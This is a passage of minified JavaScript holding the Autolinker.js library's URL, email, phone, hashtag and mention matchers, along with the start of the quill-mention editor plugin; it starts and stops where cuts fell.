me|gbiz|gent|ggee|gift|gmbh|gold|golf|goog|guge|guru|hair|haus|hdfc|help|here|hgtv|host|hsbc|icbc|ieee|imdb|immo|info|itau|java|jeep|jobs|jprs|kddi|kiwi|kpmg|kred|land|lego|lgbt|lidl|life|like|limo|link|live|loan|loft|love|ltda|luxe|maif|meet|meme|menu|mini|mint|mobi|moda|moto|name|navy|news|next|nico|nike|ollo|open|page|pars|pccw|pics|ping|pink|play|plus|pohl|porn|post|prod|prof|qpon|raid|read|reit|rent|rest|rich|rmit|room|rsvp|ruhr|safe|sale|sarl|save|saxo|scot|seat|seek|sexy|shaw|shia|shop|show|silk|sina|site|skin|sncf|sohu|song|sony|spot|star|surf|talk|taxi|team|tech|teva|tiaa|tips|town|toys|tube|vana|visa|viva|vivo|vote|voto|wang|weir|wien|wiki|wine|work|xbox|yoga|zara|zero|zone|дети|сайт|بارت|بيتك|ڀارت|تونس|شبكة|عراق|عمان|موقع|भारत|ভারত|ভাৰত|ਭਾਰਤ|ભારત|ଭାରତ|ಭಾರತ|ලංකා|アマゾン|グーグル|クラウド|ポイント|大众汽车|组织机构|電訊盈科|香格里拉|aaa|abb|abc|aco|ads|aeg|afl|aig|anz|aol|app|art|aws|axa|bar|bbc|bbt|bcg|bcn|bet|bid|bio|biz|bms|bmw|bom|boo|bot|box|buy|bzh|cab|cal|cam|car|cat|cba|cbn|cbs|ceo|cfa|cfd|com|cpa|crs|csc|dad|day|dds|dev|dhl|diy|dnp|dog|dot|dtv|dvr|eat|eco|edu|esq|eus|fan|fit|fly|foo|fox|frl|ftr|fun|fyi|gal|gap|gay|gdn|gea|gle|gmo|gmx|goo|gop|got|gov|hbo|hiv|hkt|hot|how|ibm|ice|icu|ifm|inc|ing|ink|int|ist|itv|jcb|jio|jll|jmp|jnj|jot|joy|kfh|kia|kim|kpn|krd|lat|law|lds|llc|llp|lol|lpl|ltd|man|map|mba|med|men|mil|mit|mlb|mls|mma|moe|moi|mom|mov|msd|mtn|mtr|nab|nba|nec|net|new|nfl|ngo|nhk|now|nra|nrw|ntt|nyc|obi|off|one|ong|onl|ooo|org|ott|ovh|pay|pet|phd|pid|pin|pnc|pro|pru|pub|pwc|qvc|red|ren|ril|rio|rip|run|rwe|sap|sas|sbi|sbs|sca|scb|ses|sew|sex|sfr|ski|sky|soy|spa|srl|stc|tab|tax|tci|tdk|tel|thd|tjx|top|trv|tui|tvs|ubs|uno|uol|ups|vet|vig|vin|vip|wed|win|wme|wow|wtc|wtf|xin|xxx|xyz|you|yun|zip|бел|ком|қаз|мкд|мон|орг|рус|срб|укр|հայ|קום|عرب|قطر|كوم|مصر|कॉम|नेट|คอม|ไทย|ລາວ|ストア|セール|みんな|中文网|亚马逊|天主教|我爱你|新加坡|淡马锡|诺基亚|飞利浦|ac|ad|ae|af|ag|ai|al|am|ao|aq|ar|as|at|au|aw|ax|az|ba|bb|bd|be|bf|bg|bh|bi|bj|bm|bn|bo|br|bs|bt|bv|bw|by|bz|ca|cc|cd|cf|cg|ch|ci|ck|cl|cm|cn|co|cr|cu|cv|cw|cx|cy|cz|de|dj|dk|dm|do|dz|ec|ee|eg|er|es|et|eu|fi|fj|fk|fm|fo|fr|ga|gb|gd|ge|gf|gg|gh|gi|gl|gm|gn|gp|gq|gr|gs|gt|gu|gw|gy|hk|hm|hn|hr|ht|hu|id|ie|il|im|in|io|iq|ir|is|it|je|jm|jo|jp|ke|kg|kh|ki|km|kn|kp|kr|kw|ky|kz|la|lb|lc|li|lk|lr|ls|lt|lu|lv|ly|ma|mc|md|me|mg|mh|mk|ml|mm|mn|mo|mp|mq|mr|ms|mt|mu|mv|mw|mx|my|mz|na|nc|ne|nf|ng|ni|nl|no|np|nr|nu|nz|om|pa|pe|pf|pg|ph|pk|pl|pm|pn|pr|ps|pt|pw|py|qa|re|ro|rs|ru|rw|sa|sb|sc|sd|se|sg|sh|si|sj|sk|sl|sm|sn|so|sr|ss|st|su|sv|sx|sy|sz|tc|td|tf|tg|th|tj|tk|tl|tm|tn|to|tr|tt|tv|tw|tz|ua|ug|uk|us|uy|uz|va|vc|ve|vg|vi|vn|vu|wf|ws|ye|yt|za|zm|zw|ελ|ευ|бг|ею|рф|გე|닷넷|닷컴|삼성|한국|コム|世界|中信|中国|中國|企业|佛山|信息|健康|八卦|公司|公益|台湾|台灣|商城|商店|商标|嘉里|在线|大拿|娱乐|家電|广东|微博|慈善|手机|招聘|政务|政府|新闻|时尚|書籍|机构|游戏|澳門|点看|移动|网址|网店|网站|网络|联通|谷歌|购物|通販|集团|食品|餐厅|香港)/,Ek=new RegExp("[".concat(hk,"!#$%&'*+/=?^_`{|}~-]")),Sk=new RegExp("^".concat(wk.source,"$")),Ck=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.localPartCharRegex=Ek,t.strictTldRegex=Sk,t}return $T(t,e),t.prototype.parseMatches=function(e){for(var t=this.tagBuilder,n=this.localPartCharRegex,r=this.strictTldRegex,o=[],i=e.length,a=new xk,l={m:"a",a:"i",i:"l",l:"t",t:"o",o:":"},s=0,u=0,c=a;s<i;){var f=e.charAt(s);switch(u){case 0:d(f);break;case 1:p(e.charAt(s-1),f);break;case 2:h(f);break;case 3:m(f);break;case 4:g(f);break;case 5:v(f);break;case 6:y(f);break;case 7:b(f);break;default:GT(u)}s++}return S(),o;function d(e){"m"===e?w(1):n.test(e)&&w()}function p(e,t){":"===e?n.test(t)?(u=2,c=new xk(KT(KT({},c),{hasMailtoPrefix:!0}))):E():l[e]===t||(n.test(t)?u=2:"."===t?u=3:"@"===t?u=4:E())}function h(e){"."===e?u=3:"@"===e?u=4:n.test(e)||E()}function m(e){"."===e||"@"===e?E():n.test(e)?u=2:E()}function g(e){bk.test(e)?u=5:E()}function v(e){"."===e?u=7:"-"===e?u=6:bk.test(e)||S()}function y(e){"-"===e||"."===e?S():bk.test(e)?u=5:S()}function b(e){"."===e||"-"===e?S():bk.test(e)?(u=5,c=new xk(KT(KT({},c),{hasDomainDot:!0}))):S()}function w(e){void 0===e&&(e=2),u=e,c=new xk({idx:s})}function E(){u=0,c=a}function S(){if(c.hasDomainDot){var n=e.slice(c.idx,s);/[-.]$/.test(n)&&(n=n.slice(0,-1));var i=c.hasMailtoPrefix?n.slice("mailto:".length):n;(function(e){var t=(e.split(".").pop()||"").toLowerCase();return r.test(t)})(i)&&o.push(new QT({tagBuilder:t,matchedText:n,offset:c.idx,email:i}))}E()}},t}(rk),xk=function(e){void 0===e&&(e={}),this.idx=void 0!==e.idx?e.idx:-1,this.hasMailtoPrefix=!!e.hasMailtoPrefix,this.hasDomainDot=!!e.hasDomainDot},Ok=function(){function e(){}return e.isValid=function(e,t){return!(t&&!this.isValidUriScheme(t)||this.urlMatchDoesNotHaveProtocolOrDot(e,t)||this.urlMatchDoesNotHaveAtLeastOneWordChar(e,t)&&!this.isValidIpAddress(e)||this.containsMultipleDots(e))},e.isValidIpAddress=function(e){var t=new RegExp(this.hasFullProtocolRegex.source+this.ipRegex.source);return null!==e.match(t)},e.containsMultipleDots=function(e){var t=e;return this.hasFullProtocolRegex.test(e)&&(t=e.split("://")[1]),t.split("/")[0].indexOf("..")>-1},e.isValidUriScheme=function(e){var t=e.match(this.uriSchemeRegex),n=t&&t[0].toLowerCase();return"javascript:"!==n&&"vbscript:"!==n},e.urlMatchDoesNotHaveProtocolOrDot=function(e,t){return!(!e||t&&this.hasFullProtocolRegex.test(t)||-1!==e.indexOf("."))},e.urlMatchDoesNotHaveAtLeastOneWordChar=function(e,t){return!(!e||!t)&&(!this.hasFullProtocolRegex.test(t)&&!this.hasWordCharAfterProtocolRegex.test(e))},e.hasFullProtocolRegex=/^[A-Za-z][-.+A-Za-z0-9]*:\/\//,e.uriSchemeRegex=/^[A-Za-z][-.+A-Za-z0-9]*:/,e.hasWordCharAfterProtocolRegex=new RegExp(":[^\\s]*?["+ck+"]"),e.ipRegex=/[0-9][0-9]?[0-9]?\.[0-9][0-9]?[0-9]?\.[0-9][0-9]?[0-9]?\.[0-9][0-9]?[0-9]?(:[0-9]*)?\/?$/,e}(),Ak=(XT=new RegExp("[/?#](?:["+hk+"\\-+&@#/%=~_()|'$*\\[\\]{}?!:,.;^✓]*["+hk+"\\-+&@#/%=~_()|'$*\\[\\]{}✓])?"),new RegExp(["(?:","(",/(?:[A-Za-z][-.+A-Za-z0-9]{0,63}:(?![A-Za-z][-.+A-Za-z0-9]{0,63}:\/\/)(?!\d+\/?)(?:\/\/)?)/.source,yk(2),")","|","(","(//)?",/(?:www\.)/.source,yk(6),")","|","(","(//)?",yk(10)+"\\.",wk.source,"(?![-"+pk+"])",")",")","(?::[0-9]+)?","(?:"+XT.source+")?"].join(""),"gi")),_k=new RegExp("["+hk+"]"),Tk=function(e){function t(t){var n=e.call(this,t)||this;return n.stripPrefix={scheme:!0,www:!0},n.stripTrailingSlash=!0,n.decodePercentEncoding=!0,n.matcherRegex=Ak,n.wordCharRegExp=_k,n.stripPrefix=t.stripPrefix,n.stripTrailingSlash=t.stripTrailingSlash,n.decodePercentEncoding=t.decodePercentEncoding,n}return $T(t,e),t.prototype.parseMatches=function(e){for(var t,n=this.matcherRegex,r=this.stripPrefix,o=this.stripTrailingSlash,i=this.decodePercentEncoding,a=this.tagBuilder,l=[],s=function(){var n=t[0],s=t[1],c=t[4],f=t[5],d=t[9],p=t.index,h=f||d,m=e.charAt(p-1);if(!Ok.isValid(n,s))return"continue";if(p>0&&"@"===m)return"continue";if(p>0&&h&&u.wordCharRegExp.test(m))return"continue";if(/\?$/.test(n)&&(n=n.substr(0,n.length-1)),u.matchHasUnbalancedClosingParen(n))n=n.substr(0,n.length-1);else{var g=u.matchHasInvalidCharAfterTld(n,s);g>-1&&(n=n.substr(0,g))}var v=["http://","https://"].find((function(e){return!!s&&-1!==s.indexOf(e)}));if(v){var y=n.indexOf(v);n=n.substr(y),s=s.substr(y),p+=y}var b=s?"scheme":c?"www":"tld",w=!!s;l.push(new nk({tagBuilder:a,matchedText:n,offset:p,urlMatchType:b,url:n,protocolUrlMatch:w,protocolRelativeMatch:!!h,stripPrefix:r,stripTrailingSlash:o,decodePercentEncoding:i}))},u=this;null!==(t=n.exec(e));)s();return l},t.prototype.matchHasUnbalancedClosingParen=function(e){var t,n=e.charAt(e.length-1);if(")"===n)t="(";else if("]"===n)t="[";else{if("}"!==n)return!1;t="{"}for(var r=0,o=0,i=e.length-1;o<i;o++){var a=e.charAt(o);a===t?r++:a===n&&(r=Math.max(r-1,0))}return 0===r},t.prototype.matchHasInvalidCharAfterTld=function(e,t){if(!e)return-1;var n=0;t&&(n=e.indexOf(":"),e=e.slice(n));var r=new RegExp("^((.?//)?[-."+hk+"]*[-"+hk+"]\\.[-"+hk+"]+)").exec(e);return null===r?-1:(n+=r[1].length,e=e.slice(r[1].length),/^[^-.A-Za-z0-9:\/?#]/.test(e)?n:-1)},t}(rk),kk=new RegExp("#[_".concat(hk,"]{1,139}(?![_").concat(hk,"])"),"g"),Pk=new RegExp("[^"+hk+"]"),Mk=function(e){function t(t){var n=e.call(this,t)||this;return n.serviceName="twitter",n.matcherRegex=kk,n.nonWordCharRegex=Pk,n.serviceName=t.serviceName,n}return $T(t,e),t.prototype.parseMatches=function(e){for(var t,n=this.matcherRegex,r=this.nonWordCharRegex,o=this.serviceName,i=this.tagBuilder,a=[];null!==(t=n.exec(e));){var l=t.index,s=e.charAt(l-1);if(0===l||r.test(s)){var u=t[0],c=t[0].slice(1);a.push(new JT({tagBuilder:i,matchedText:u,offset:l,serviceName:o,hashtag:c}))}}return a},t}(rk),Rk=new RegExp("".concat(/(?:(?:(?:(\+)?\d{1,3}[-\040.]?)?\(?\d{3}\)?[-\040.]?\d{3}[-\040.]?\d{4})|(?:(\+)(?:9[976]\d|8[987530]\d|6[987]\d|5[90]\d|42\d|3[875]\d|2[98654321]\d|9[8543210]|8[6421]|6[6543210]|5[87654321]|4[987654310]|3[9643210]|2[70]|7|1)[-\040.]?(?:\d[-\040.]?){6,12}\d+))([,;]+[0-9]+#?)*/.source,"|").concat(/(0([1-9]{1}-?[1-9]\d{3}|[1-9]{2}-?\d{3}|[1-9]{2}\d{1}-?\d{2}|[1-9]{2}\d{2}-?\d{1})-?\d{4}|0[789]0-?\d{4}-?\d{4}|050-?\d{4}-?\d{4})/.source),"g"),jk=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.matcherRegex=Rk,t}return $T(t,e),t.prototype.parseMatches=function(e){for(var t,n=this.matcherRegex,r=this.tagBuilder,o=[];null!==(t=n.exec(e));){var i=t[0],a=i.replace(/[^0-9,;#]/g,""),l=!(!t[1]&&!t[2]),s=0==t.index?"":e.substr(t.index-1,1),u=e.substr(t.index+i.length,1),c=!s.match(/\d/)&&!u.match(/\d/);this.testMatch(t[3])&&this.testMatch(i)&&c&&o.push(new tk({tagBuilder:r,matchedText:i,offset:t.index,number:a,plusSign:l}))}return o},t.prototype.testMatch=function(e){return ak.test(e)},t}(rk),Lk=new RegExp("@[_".concat(hk,"]{1,50}(?![_").concat(hk,"])"),"g"),Ik=new RegExp("@[_.".concat(hk,"]{1,30}(?![_").concat(hk,"])"),"g"),Nk=new RegExp("@[-_.".concat(hk,"]{1,50}(?![-_").concat(hk,"])"),"g"),Dk=new RegExp("@[_.".concat(hk,"]{1,23}[_").concat(hk,"](?![_").concat(hk,"])"),"g"),Fk=new RegExp("[^"+hk+"]"),Bk=function(e){function t(t){var n=e.call(this,t)||this;return n.serviceName="twitter",n.matcherRegexes={twitter:Lk,instagram:Ik,soundcloud:Nk,tiktok:Dk},n.nonWordCharRegex=Fk,n.serviceName=t.serviceName,n}return $T(t,e),t.prototype.parseMatches=function(e){var t,n=this.serviceName,r=this.matcherRegexes[this.serviceName],o=this.nonWordCharRegex,i=this.tagBuilder,a=[];if(!r)return a;for(;null!==(t=r.exec(e));){var l=t.index,s=e.charAt(l-1);if(0===l||o.test(s)){var u=t[0].replace(/\.+$/g,""),c=u.slice(1);a.push(new ek({tagBuilder:i,matchedText:u,offset:l,serviceName:n,mention:c}))}}return a},t}(rk);function Hk(e,t){for(var n,r=t.onOpenTag,o=t.onCloseTag,i=t.onText,a=t.onComment,l=t.onDoctype,s=new Vk,u=0,c=e.length,f=0,d=0,p=s;u<c;){var h=e.charAt(u);switch(f){case 0:m(h);break;case 1:g(h);break;case 2:y(h);break;case 3:v(h);break;case 4:b(h);break;case 5:w(h);break;case 6:E(h);break;case 7:S(h);break;case 8:C(h);break;case 9:x(h);break;case 10:O(h);break;case 11:A(h);break;case 12:_(h);break;case 13:T(h);break;case 14:k(h);break;case 15:P(h);break;case 16:M(h);break;case 17:R(h);break;case 18:j(h);break;case 19:L(h);break;case 20:I(h);break;default:GT(f)}u++}function m(e){"<"===e&&D()}function g(e){"!"===e?f=13:"/"===e?(f=2,p=new Vk(KT(KT({},p),{isClosing:!0}))):"<"===e?D():ok.test(e)?(f=3,p=new Vk(KT(KT({},p),{isOpening:!0}))):(f=0,p=s)}function v(e){lk.test(e)?(p=new Vk(KT(KT({},p),{name:B()})),f=4):"<"===e?D():"/"===e?(p=new Vk(KT(KT({},p),{name:B()})),f=12):">"===e?(p=new Vk(KT(KT({},p),{name:B()})),F()):ok.test(e)||ik.test(e)||":"===e||N()}function y(e){">"===e?N():ok.test(e)?f=3:N()}function b(e){lk.test(e)||("/"===e?f=12:">"===e?F():"<"===e?D():"="===e||sk.test(e)||uk.test(e)?N():f=5)}function w(e){lk.test(e)?f=6:"/"===e?f=12:"="===e?f=7:">"===e?F():"<"===e?D():sk.test(e)&&N()}function E(e){lk.test(e)||("/"===e?f=12:"="===e?f=7:">"===e?F():"<"===e?D():sk.test(e)?N():f=5)}function S(e){lk.test(e)||('"'===e?f=8:"'"===e?f=9:/[>=`]/.test(e)?N():"<"===e?D():f=10)}function C(e){'"'===e&&(f=11)}function x(e){"'"===e&&(f=11)}function O(e){lk.test(e)?f=4:">"===e?F():"<"===e&&D()}function A(e){lk.test(e)?f=4:"/"===e?f=12:">"===e?F():"<"===e?D():(f=4,u--)}function _(e){">"===e?(p=new Vk(KT(KT({},p),{isClosing:!0})),F()):f=4}function T(t){"--"===e.substr(u,2)?(u+=2,p=new Vk(KT(KT({},p),{type:"comment"})),f=14):"DOCTYPE"===e.substr(u,7).toUpperCase()?(u+=7,p=new Vk(KT(KT({},p),{type:"doctype"})),f=20):N()}function k(e){"-"===e?f=15:">"===e?N():f=16}function P(e){"-"===e?f=18:">"===e?N():f=16}function M(e){"-"===e&&(f=17)}function R(e){f="-"===e?18:16}function j(e){">"===e?F():"!"===e?f=19:"-"===e||(f=16)}function L(e){"-"===e?f=17:">"===e?F():f=16}function I(e){">"===e?F():"<"===e&&D()}function N(){f=0,p=s}function D(){f=1,p=new Vk({idx:u})}function F(){var t=e.slice(d,p.idx);t&&i(t,d),"comment"===p.type?a(p.idx):"doctype"===p.type?l(p.idx):(p.isOpening&&r(p.name,p.idx),p.isClosing&&o(p.name,p.idx)),N(),d=u+1}function B(){var t=p.idx+(p.isClosing?2:1);return e.slice(t,u).toLowerCase()}d<u&&(n=e.slice(d,u),i(n,d),d=u+1)}var Vk=function(e){void 0===e&&(e={}),this.idx=void 0!==e.idx?e.idx:-1,this.type=e.type||"tag",this.name=e.name||"",this.isOpening=!!e.isOpening,this.isClosing=!!e.isClosing},zk=function(){function e(t){void 0===t&&(t={}),this.version=e.version,this.urls={},this.email=!0,this.phone=!0,this.hashtag=!1,this.mention=!1,this.newWindow=!0,this.stripPrefix={scheme:!0,www:!0},this.stripTrailingSlash=!0,this.decodePercentEncoding=!0,this.truncate={length:0,location:"end"},this.className="",this.replaceFn=null,this.context=void 0,this.sanitizeHtml=!1,this.matchers=null,this.tagBuilder=null,this.urls=this.normalizeUrlsCfg(t.urls),this.email="boolean"==typeof t.email?t.email:this.email,this.phone="boolean"==typeof t.phone?t.phone:this.phone,this.hashtag=t.hashtag||this.hashtag,this.mention=t.mention||this.mention,this.newWindow="boolean"==typeof t.newWindow?t.newWindow:this.newWindow,this.stripPrefix=this.normalizeStripPrefixCfg(t.stripPrefix),this.stripTrailingSlash="boolean"==typeof t.stripTrailingSlash?t.stripTrailingSlash:this.stripTrailingSlash,this.decodePercentEncoding="boolean"==typeof t.decodePercentEncoding?t.decodePercentEncoding:this.decodePercentEncoding,this.sanitizeHtml=t.sanitizeHtml||!1;var n=this.mention;if(!1!==n&&-1===["twitter","instagram","soundcloud","tiktok"].indexOf(n))throw new Error("invalid `mention` cfg '".concat(n,"' - see docs"));var r=this.hashtag;if(!1!==r&&-1===["twitter","facebook","instagram","tiktok"].indexOf(r))throw new Error("invalid `hashtag` cfg '".concat(r,"' - see docs"));this.truncate=this.normalizeTruncateCfg(t.truncate),this.className=t.className||this.className,this.replaceFn=t.replaceFn||this.replaceFn,this.context=t.context||this}return e.link=function(t,n){return new e(n).link(t)},e.parse=function(t,n){return new e(n).parse(t)},e.prototype.normalizeUrlsCfg=function(e){return null==e&&(e=!0),"boolean"==typeof e?{schemeMatches:e,wwwMatches:e,tldMatches:e}:{schemeMatches:"boolean"!=typeof e.schemeMatches||e.schemeMatches,wwwMatches:"boolean"!=typeof e.wwwMatches||e.wwwMatches,tldMatches:"boolean"!=typeof e.tldMatches||e.tldMatches}},e.prototype.normalizeStripPrefixCfg=function(e){return null==e&&(e=!0),"boolean"==typeof e?{scheme:e,www:e}:{scheme:"boolean"!=typeof e.scheme||e.scheme,www:"boolean"!=typeof e.www||e.www}},e.prototype.normalizeTruncateCfg=function(e){return"number"==typeof e?{length:e,location:"end"}:function(e,t){for(var n in t)t.hasOwnProperty(n)&&void 0===e[n]&&(e[n]=t[n]);return e}(e||{},{length:Number.POSITIVE_INFINITY,location:"end"})},e.prototype.parse=function(e){var t=this,n=["a","style","script"],r=0,o=[];return Hk(e,{onOpenTag:function(e){n.indexOf(e)>=0&&r++},onText:function(e,n){if(0===r){var i=function(e,t){if(!t.global)throw new Error("`splitRegex` must have the 'g' flag set");for(var n,r=[],o=0;n=t.exec(e);)r.push(e.substring(o,n.index)),r.push(n[0]),o=n.index+n[0].length;return r.push(e.substring(o)),r}(e,/( | |<|<|>|>|"|"|')/gi),a=n;i.forEach((function(e,n){if(n%2==0){var r=t.parseText(e,a);o.push.apply(o,r)}a+=e.length}))}},onCloseTag:function(e){n.indexOf(e)>=0&&(r=Math.max(r-1,0))},onComment:function(e){},onDoctype:function(e){}}),o=this.compactMatches(o),o=this.removeUnwantedMatches(o)},e.prototype.compactMatches=function(e){e.sort((function(e,t){return e.getOffset()-t.getOffset()}));for(var t=0;t<e.length-1;){var n=e[t],r=n.getOffset(),o=n.getMatchedText().length,i=r+o;if(t+1<e.length){if(e[t+1].getOffset()===r){var a=e[t+1].getMatchedText().length>o?t:t+1;e.splice(a,1);continue}if(e[t+1].getOffset()<i){e.splice(t+1,1);continue}}t++}return e},e.prototype.removeUnwantedMatches=function(e){return this.hashtag||UT(e,(function(e){return"hashtag"===e.getType()})),this.email||UT(e,(function(e){return"email"===e.getType()})),this.phone||UT(e,(function(e){return"phone"===e.getType()})),this.mention||UT(e,(function(e){return"mention"===e.getType()})),this.urls.schemeMatches||UT(e,(function(e){return"url"===e.getType()&&"scheme"===e.getUrlMatchType()})),this.urls.wwwMatches||UT(e,(function(e){return"url"===e.getType()&&"www"===e.getUrlMatchType()})),this.urls.tldMatches||UT(e,(function(e){return"url"===e.getType()&&"tld"===e.getUrlMatchType()})),e},e.prototype.parseText=function(e,t){void 0===t&&(t=0),t=t||0;for(var n=this.getMatchers(),r=[],o=0,i=n.length;o<i;o++){for(var a=n[o].parseMatches(e),l=0,s=a.length;l<s;l++)a[l].setOffset(t+a[l].getOffset());r.push.apply(r,a)}return r},e.prototype.link=function(e){if(!e)return"";this.sanitizeHtml&&(e=e.replace(/</g,"<").replace(/>/g,">"));for(var t=this.parse(e),n=[],r=0,o=0,i=t.length;o<i;o++){var a=t[o];n.push(e.substring(r,a.getOffset())),n.push(this.createMatchReturnVal(a)),r=a.getOffset()+a.getMatchedText().length}return n.push(e.substring(r)),n.join("")},e.prototype.createMatchReturnVal=function(e){var t;return this.replaceFn&&(t=this.replaceFn.call(this.context,e)),"string"==typeof t?t:!1===t?e.getMatchedText():t instanceof WT?t.toAnchorString():e.buildTag().toAnchorString()},e.prototype.getMatchers=function(){if(this.matchers)return this.matchers;var e=this.getTagBuilder(),t=[new Mk({tagBuilder:e,serviceName:this.hashtag}),new Ck({tagBuilder:e}),new jk({tagBuilder:e}),new Bk({tagBuilder:e,serviceName:this.mention}),new Tk({tagBuilder:e,stripPrefix:this.stripPrefix,stripTrailingSlash:this.stripTrailingSlash,decodePercentEncoding:this.decodePercentEncoding})];return this.matchers=t},e.prototype.getTagBuilder=function(){var e=this.tagBuilder;return e||(e=this.tagBuilder=new qT({newWindow:this.newWindow,truncate:this.truncate,className:this.className})),e},e.version="3.15.0",e.AnchorTagBuilder=qT,e.HtmlTag=WT,e.matcher={Email:Ck,Hashtag:Mk,Matcher:rk,Mention:Bk,Phone:jk,Url:Tk},e.match={Email:QT,Hashtag:JT,Match:ZT,Mention:ek,Phone:tk,Url:nk},e}(),Uk=n(151),Gk=n.n(Uk),Wk=n(64),qk=n.n(Wk);function Zk(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function Yk(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function $k(e,t,n){return t&&Yk(e.prototype,t),n&&Yk(e,n),e}function Kk(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function Xk(){return(Xk=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}function Qk(e){return(Qk=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function Jk(e,t){return(Jk=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function eP(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function tP(e,t){if(t&&("object"==typeof t||"function"==typeof t))return t;if(void 0!==t)throw new TypeError("Derived constructors may only return object or undefined");return eP(e)}function nP(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=Qk(e);if(t){var o=Qk(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return tP(this,n)}}function rP(e,t){for(;!Object.prototype.hasOwnProperty.call(e,t)&&null!==(e=Qk(e)););return e}function oP(){return(oP="undefined"!=typeof Reflect&&Reflect.get?Reflect.get:function(e,t,n){var r=rP(e,t);if(r){var o=Object.getOwnPropertyDescriptor(r,t);return o.get?o.get.call(arguments.length<3?e:n):o.value}}).apply(this,arguments)}function iP(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function aP(e,t){var n="undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(!n){if(Array.isArray(e)||(n=function(e,t){if(e){if("string"==typeof e)return iP(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);return"Object"===n&&e.constructor&&(n=e.constructor.name),"Map"===n||"Set"===n?Array.from(e):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?iP(e,t):void 0}}(e))||t&&e&&"number"==typeof e.length){n&&(e=n);var r=0,o=function(){};return{s:o,n:function(){return r>=e.length?{done:!0}:{done:!1,value:e[r++]}},e:function(e){throw e},f:o}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var i,a=!0,l=!1;return{s:function(){n=n.call(e)},n:function(){var e=n.next();return a=e.done,e},e:function(e){l=!0,i=e},f:function(){try{a||null==n.return||n.return()}finally{if(l)throw i}}}}var lP=9,sP=13,uP=27,cP=38,fP=40;function dP(e,t,n){var r=e;return Object.keys(t).forEach((function(e){n.indexOf(e)>-1?r.dataset[e]=t[e]:delete r.dataset[e]})),r}var pP=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&Jk(e,t)}(n,e);var t=nP(n);function n(e,r){var o;return Zk(this,n),Kk(eP(o=t.call(this,e,r)),"hoverHandler",void 0),Kk(eP(o),"hoverHandler",void 0),o.clickHandler=null,o.hoverHandler=null,o.mounted=!1,o}return $k(n,[{key:"attach",value:function(){oP(Qk(n.prototype),"attach",this).call(this),this.mounted||(this.mounted=!0,this.clickHandler=this.getClickHandler(),this.hoverHandler=this.getHoverHandler(),this.domNode.addEventListener("click",this.clickHandler,!1),this.domNode.addEventListener("mouseenter",this.hoverHandler,!1))}},{key:"detach",value:function(){oP(Qk(n.prototype),"detach",this).call(this),this.mounted=!1,this.clickHandler&&(this.domNode.removeEventListener("click",this.clickHandler),this.clickHandler=null)}},{key:"getClickHandler",value:function(){var e=this;return function(t){var n=e.buildEvent("mention-clicked",t);window.dispatchEvent(n),t.preventDefault()}}},{key:"getHoverHandler",value:function(){var e=this;return function(t){var n=e.buildEvent("mention-hovered",t);window.dispatchEvent(n),t.preventDefault()}}},{key:"buildEvent",value:function(e,t){var n=new Event(e,{bubbles:!0,cancelable:!0});return n.value=Xk({},this.domNode.dataset),n.event=t,n}}],[{key:"create",value:function(e){var t=oP(Qk(n),"create",this).call(this),r=document.createElement("span");return r.className="ql-mention-denotation-char",r.innerHTML=e.denotationChar,t.appendChild(r),t.innerHTML+=e.value,n.setDataValues(t,e)}},{key:"setDataValues",value:function(e,t){var n=e;return Object.keys(t).forEach((function(e){n.dataset[e]=t[e]})),n}},{key:"value",value:function(e){return e.dataset}}]),n}(qk.a.import("blots/embed"));pP.blotName="mention",pP.tagName="span",pP.className="mention",qk.a.register(pP);var hP=function(){function e(t,n){var r=this;Zk(this,e),this.isOpen=!1,this.itemIndex=0,this.mentionCharPos=null,this.cursorPos=null,this.values=[],this.suspendMouseEnter=!1,this.existingSourceExecutionToken=null,this.quill=t,this.options={source:null,renderItem:function(e){return"".concat(e.value)},renderLoading:function(){return null},onSelect:function(e,t){t(e)},mentionDenotationChars:["@"],showDenotationChar:!0,allowedChars:/^[a-zA-Z0-9_]*$/,minChars:0,maxChars:31,offsetTop:2,offsetLeft:0,isolateCharacter:!1,fixMentionsToQuill:!1,positioningStrategy:"normal",defaultMenuOrientation:"bottom",blotName:"mention",dataAttributes:["id","value","denotationChar","link","target","disabled"],linkTarget:"_blank",onOpen:function(){return!0},onBeforeClose:function(){return!0},onClose:function(){return!0},listItemClass:"ql-mention-list-item",mentionContainerClass:"ql-mention-list-container",mentionListClass:"ql-mention-list",spaceAfterInsert:!0,selectKeys:[sP]},Xk(this.options,n,{dataAttributes:Array.isArray(n.dataAttributes)?this.options.dataAttributes.concat(n.dataAttributes):this.options.dataAttributes}),this.mentionContainer=document.createElement("div"),this.mentionContainer.className=this.options.mentionContainerClass?this.options.mentionContainerClass:"",this.mentionContainer.style.cssText="display: none; position: 